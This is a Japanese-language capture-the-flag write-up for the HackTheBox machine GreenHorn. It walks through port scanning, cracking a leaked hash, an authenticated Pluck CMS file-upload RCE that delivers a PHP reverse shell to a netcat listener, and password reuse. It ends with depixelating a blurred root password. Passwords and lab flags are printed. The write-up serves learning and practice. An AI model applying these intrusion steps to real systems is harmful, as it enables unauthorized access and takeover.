【HackTheBox】GreenHorn：Writeup

# 概要

HackTheBox「GreenHorn」のWriteupです。

https://app.hackthebox.com/machines/GreenHorn

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.25 -oN nmap_resultPORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=61270928145c2c03; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=BJxaEjpr3c9V1mdKEWcODCWFU0g6MTczMzQyNjMwNjU2NDU1MjIwNQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 05 Dec 2024 19:18:26 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=727a91389b86516c; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=CqoqkPPB1YNH-BTKOWbT9lbAV5o6MTczMzQyNjMxMjkwMjM1OTk1NQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 05 Dec 2024 19:18:32 GMT
|_    Content-Length: 0
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|
|3000|http|

ドメインが分かったので`/etc/hosts`に追記します。

```
10.10.11.25     greenhorn.htb
```

ポート`80`のサイトでは`Pluck CMS`が利用されていると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/27f13a82-5271-6ea0-748d-1da262ca2374.png)

https://github.com/pluck-cms/pluck

ポート`3000`では`Gitea`が利用されていると分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ea00fba3-cd68-f21c-4028-26c6fd1cbda8.png)

https://about.gitea.com/

`/GreenAdmin/GreenHorn`にアクセスすると`80`番ポートで動作している`Pluck`のリポジトリがありました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/252be348-09a1-aa39-e57a-eb33ca27ad40.png)

`80`番ポートのディレクトリスキャンをします。

```
$ dirsearch -u http://greenhorn.htb

[14:45:03] 200 -    1KB - /login.php
[14:44:58] 200 -    4KB - /install.php
[14:44:06] 200 -    4KB - /admin.php
[14:44:42] 301 -  178B  - /data  ->  http://greenhorn.htb/data/
[14:45:27] 200 -    2KB - /README.md
[14:45:29] 200 -   47B  - /robots.txt

(省略)
```

`/login.php`へアクセスすると、`Pluck 4.7.18`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a6bb269f-087e-109f-8015-f330b2043c8b.png)

該当バージョンの脆弱性を探すとRCEの脆弱性が見つかりました。
ZIPファイルをアップロードすることで任意のPHPコードを実行できるようです。

https://www.exploit-db.com/exploits/51592

エクスプロイトには認証情報が必要になっています。
`Gitea`のリポジトリを探索していると`data/settings/pass.php`にハッシュ値の様な値を発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6df693ea-c1e0-dc2d-6cf3-dedf8c399902.png)

ハッシュ値を解析するとパスワードを特定できました。

```
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512

iloveyou1        (?)
```

得られたパスワードでpluck cmsにログイン出来ました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/71ee568a-680a-f582-af43-2ddc6ac6e8af.png)

PHPのリバースシェルファイルを圧縮して、アップロードするZIPファイルを作成します。

```
$ zip exploit.zip php-reverse-shell.php   
  adding: php-reverse-shell.php (deflated 59%)
```

`/admin.php?action=installmodule`からZIPファイルをアップロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4e9c8b88-7cd5-c812-ac3e-46002fb54a72.png)

Netcatでリッスンし、`/data/modules/exploit/php-reverse-shell.php`へアクセスするとシェルを張れました。

```
$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.25] 32832
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 09:42:25 up 21 min,  0 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`junior`アカウントへ昇格する必要があるようです。

```
$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Jun 20 06:36 .
drwxr-xr-x 20 root   root   4096 Jun 20 07:06 ..
drwxr-x---  2 git    git    4096 Jun 20 06:36 git
drwxr-xr-x  3 junior junior 4096 Jun 20 06:36 junior
```

pluck cmsのログインに使用したパスワードで`junior`アカウントへ昇格出来ました。

```
$ su junior
su junior
Password: iloveyou1

junior@greenhorn:/var/www/html/pluck$ whoami
whoami
junior
```

`/home/junior/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt
38afd29b3f78c7747910fe95bdeb4c45
```

# Root Flag

`/home/junior`ディレクトリを確認すると`Using OpenVAS.pdf`があります。

```
$ ls -la
ls -la
total 76
drwxr-xr-x 3 junior junior  4096 Jun 20 06:36  .
drwxr-xr-x 4 root   root    4096 Jun 20 06:36  ..
lrwxrwxrwx 1 junior junior     9 Jun 11 14:38  .bash_history -> /dev/null
drwx------ 2 junior junior  4096 Jun 20 06:36  .cache
-rw-r----- 1 root   junior    33 Dec  8 09:28  user.txt
-rw-r----- 1 root   junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
```

PDFをダウンロードし確認すると、パスワードがモザイク処理されていると分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/954d2fa8-c1fa-d444-f3b5-bd22cbdb7ad1.png)

モザイク除去に`Depix`というツールを利用しました。

https://github.com/spipm/Depix

モザイク部分を右クリックし、画像としてPNG形式で保存します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f5663d3e-99d4-33ce-12ca-3d95a6304000.png)

Depixを実行しモザイクから平文を特定できました。

```
$ python3 depix.py \
    -p ../pass_image.png \ 
    -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \
    -o ../test.png
```

パスワードは`sidefromsidetheothersidesidefromsidetheotherside`のようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3dc2a5e0-711b-1049-3ab6-bbf4f52583eb.png)

得られたパスワードでrootアカウントへ昇格出来ました。

```
$ su -
su -
Password: sidefromsidetheothersidesidefromsidetheotherside

# whoami
whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
cat /root/root.txt
120ddf20f15fa21316ce2d7a23347bfe
```